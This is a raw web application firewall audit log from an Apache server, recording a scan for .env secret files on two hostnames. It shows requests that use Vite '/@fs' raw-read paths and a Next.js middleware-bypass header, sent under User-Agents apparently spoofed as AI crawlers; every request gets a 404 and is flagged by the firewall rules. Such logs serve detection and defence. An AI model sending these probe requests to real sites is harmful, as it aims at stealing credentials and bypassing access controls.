Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/staging/.env"] [unique_id "aqZ-oSsVWymXUono-eRWAAAAAAk"]
Stopwatch: 1789296545813970 6467 (- - -)
Stopwatch2: 1789296545813970 6467; combined=4963, p1=252, p2=4578, p3=76, p4=8, p5=49, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--569b150e-Z--

--f84fbf08-A--
[13/Sep/2026:13:49:05.975034 +0300] aqZ-oSsVWymXUono-eRWAQAAAAc 34.80.249.255 52020 127.0.0.1 7081
--f84fbf08-B--
GET /apps/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f84fbf08-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f84fbf08-E--

--f84fbf08-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/apps/.env"] [unique_id "aqZ-oSsVWymXUono-eRWAQAAAAc"]
Stopwatch: 1789296545968910 6178 (- - -)
Stopwatch2: 1789296545968910 6178; combined=4770, p1=281, p2=4325, p3=110, p4=9, p5=45, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f84fbf08-Z--

--6e634c24-A--
[13/Sep/2026:13:49:06.133328 +0300] aqZ-oisVWymXUono-eRWAgAAAAs 34.80.249.255 52034 127.0.0.1 7081
--6e634c24-B--
GET /old/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6e634c24-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6e634c24-E--

--6e634c24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/old/.env"] [unique_id "aqZ-oisVWymXUono-eRWAgAAAAs"]
Stopwatch: 1789296546126988 6412 (- - -)
Stopwatch2: 1789296546126988 6412; combined=4804, p1=275, p2=4408, p3=71, p4=8, p5=42, sr=136, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e634c24-Z--

--466bba60-A--
[13/Sep/2026:13:49:06.146745 +0300] aqZ-oisVWymXUono-eRWAwAAAAI 34.80.249.255 52038 127.0.0.1 7081
--466bba60-B--
GET /v2/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--466bba60-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--466bba60-E--

--466bba60-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/v2/.env"] [unique_id "aqZ-oisVWymXUono-eRWAwAAAAI"]
Stopwatch: 1789296546140527 6271 (- - -)
Stopwatch2: 1789296546140527 6271; combined=4804, p1=338, p2=4342, p3=73, p4=9, p5=42, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--466bba60-Z--

--d8d57324-A--
[13/Sep/2026:13:49:06.394292 +0300] aqZ-omM7dE9KgIIOpQh5swAAANE 34.80.249.255 52040 127.0.0.1 7081
--d8d57324-B--
GET /site/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d8d57324-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d8d57324-E--

--d8d57324-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/site/.env"] [unique_id "aqZ-omM7dE9KgIIOpQh5swAAANE"]
Stopwatch: 1789296546380673 13681 (- - -)
Stopwatch2: 1789296546380673 13681; combined=19633, p1=283, p2=4421, p3=103, p4=9, p5=7428, sr=130, sw=1, l=0, gc=7388
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8d57324-Z--

--94cd6131-A--
[13/Sep/2026:13:49:06.661987 +0300] aqZ-oisVWymXUono-eRWBQAAAAg 34.80.249.255 52078 127.0.0.1 7081
--94cd6131-B--
GET /.docker/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--94cd6131-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--94cd6131-E--

--94cd6131-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.docker/.env"] [unique_id "aqZ-oisVWymXUono-eRWBQAAAAg"]
Stopwatch: 1789296546652767 9287 (- - -)
Stopwatch2: 1789296546652767 9287; combined=7709, p1=284, p2=7235, p3=132, p4=9, p5=48, sr=123, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94cd6131-Z--

--dd1aef33-A--
[13/Sep/2026:13:49:06.662684 +0300] aqZ-ojTJ6xTvcJoem7f8KQAAAFA 34.80.249.255 52084 127.0.0.1 7081
--dd1aef33-B--
GET /portal/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dd1aef33-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--dd1aef33-E--

--dd1aef33-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/portal/.env"] [unique_id "aqZ-ojTJ6xTvcJoem7f8KQAAAFA"]
Stopwatch: 1789296546657110 5647 (- - -)
Stopwatch2: 1789296546657110 5647; combined=4341, p1=265, p2=3937, p3=66, p4=7, p5=66, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd1aef33-Z--

--c498b42d-A--
[13/Sep/2026:13:49:07.140540 +0300] aqZ-o0wu1RSkptiiNIX7IAAAAIM 34.80.249.255 52138 127.0.0.1 7081
--c498b42d-B--
GET /@fs/.env?raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c498b42d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c498b42d-E--

--c498b42d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZ-o0wu1RSkptiiNIX7IAAAAIM"]
Stopwatch: 1789296547135363 5230 (- - -)
Stopwatch2: 1789296547135363 5230; combined=3890, p1=295, p2=3474, p3=70, p4=9, p5=41, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c498b42d-Z--

--950dc557-A--
[13/Sep/2026:13:49:07.215855 +0300] aqZ-o2M7dE9KgIIOpQh5tQAAAMk 34.80.249.255 52140 127.0.0.1 7081
--950dc557-B--
GET /@fs/root/.env?raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--950dc557-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--950dc557-E--

--950dc557-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/root/.env"] [unique_id "aqZ-o2M7dE9KgIIOpQh5tQAAAMk"]
Stopwatch: 1789296547207111 8917 (- - -)
Stopwatch2: 1789296547207111 8917; combined=6808, p1=615, p2=5910, p3=95, p4=12, p5=175, sr=179, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--950dc557-Z--

--8f632200-A--
[13/Sep/2026:13:54:04.281469 +0300] aqaAzGM7dE9KgIIOpQh6OAAAANg 35.236.177.61 58756 127.0.0.1 7081
--8f632200-B--
GET /.env?raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8f632200-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8f632200-E--

--8f632200-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzGM7dE9KgIIOpQh6OAAAANg"]
Stopwatch: 1789296844274959 6582 (- - -)
Stopwatch2: 1789296844274959 6582; combined=4289, p1=265, p2=3850, p3=77, p4=56, p5=41, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8f632200-Z--

--4404271e-A--
[13/Sep/2026:13:54:05.115710 +0300] aqaAzTTJ6xTvcJoem7f8TAAAAE0 35.236.177.61 58954 127.0.0.1 7081
--4404271e-B--
GET /.env?import&raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4404271e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4404271e-E--

--4404271e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzTTJ6xTvcJoem7f8TAAAAE0"]
Stopwatch: 1789296845106402 9411 (- - -)
Stopwatch2: 1789296845106402 9411; combined=6473, p1=395, p2=4847, p3=79, p4=8, p5=1143, sr=178, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4404271e-Z--

--25347864-A--
[13/Sep/2026:13:54:05.144078 +0300] aqaAzSsVWymXUono-eRWMAAAAA8 35.236.177.61 58972 127.0.0.1 7081
--25347864-B--
GET /.env?import&url&inline HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--25347864-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--25347864-E--

--25347864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzSsVWymXUono-eRWMAAAAA8"]
Stopwatch: 1789296845137536 6598 (- - -)
Stopwatch2: 1789296845137536 6598; combined=4707, p1=316, p2=4173, p3=152, p4=10, p5=56, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25347864-Z--

--033b8f19-A--
[13/Sep/2026:13:54:05.203609 +0300] aqaAzWM7dE9KgIIOpQh6RwAAANM 35.236.177.61 58986 127.0.0.1 7081
--033b8f19-B--
GET /.env.local?raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--033b8f19-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--033b8f19-E--

--033b8f19-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6RwAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6RwAAANM"]
Stopwatch: 1789296845169389 34313 (- - -)
Stopwatch2: 1789296845169389 34313; combined=32561, p1=327, p2=32082, p3=90, p4=10, p5=52, sr=166, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--033b8f19-Z--

--b0e27f14-A--
[13/Sep/2026:13:54:05.242553 +0300] aqaAzWM7dE9KgIIOpQh6SAAAAMw 35.236.177.61 58998 127.0.0.1 7081
--b0e27f14-B--
GET /.env.local?import&raw HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b0e27f14-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b0e27f14-E--

--b0e27f14-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6SAAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6SAAAAMw"]
Stopwatch: 1789296845206349 36312 (- - -)
Stopwatch2: 1789296845206349 36312; combined=34522, p1=290, p2=34094, p3=76, p4=8, p5=54, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b0e27f14-Z--

--937c2a41-A--
[13/Sep/2026:13:54:05.503316 +0300] aqaAzWM7dE9KgIIOpQh6SwAAANQ 35.236.177.61 59046 127.0.0.1 7081
--937c2a41-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--937c2a41-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--937c2a41-E--

--937c2a41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
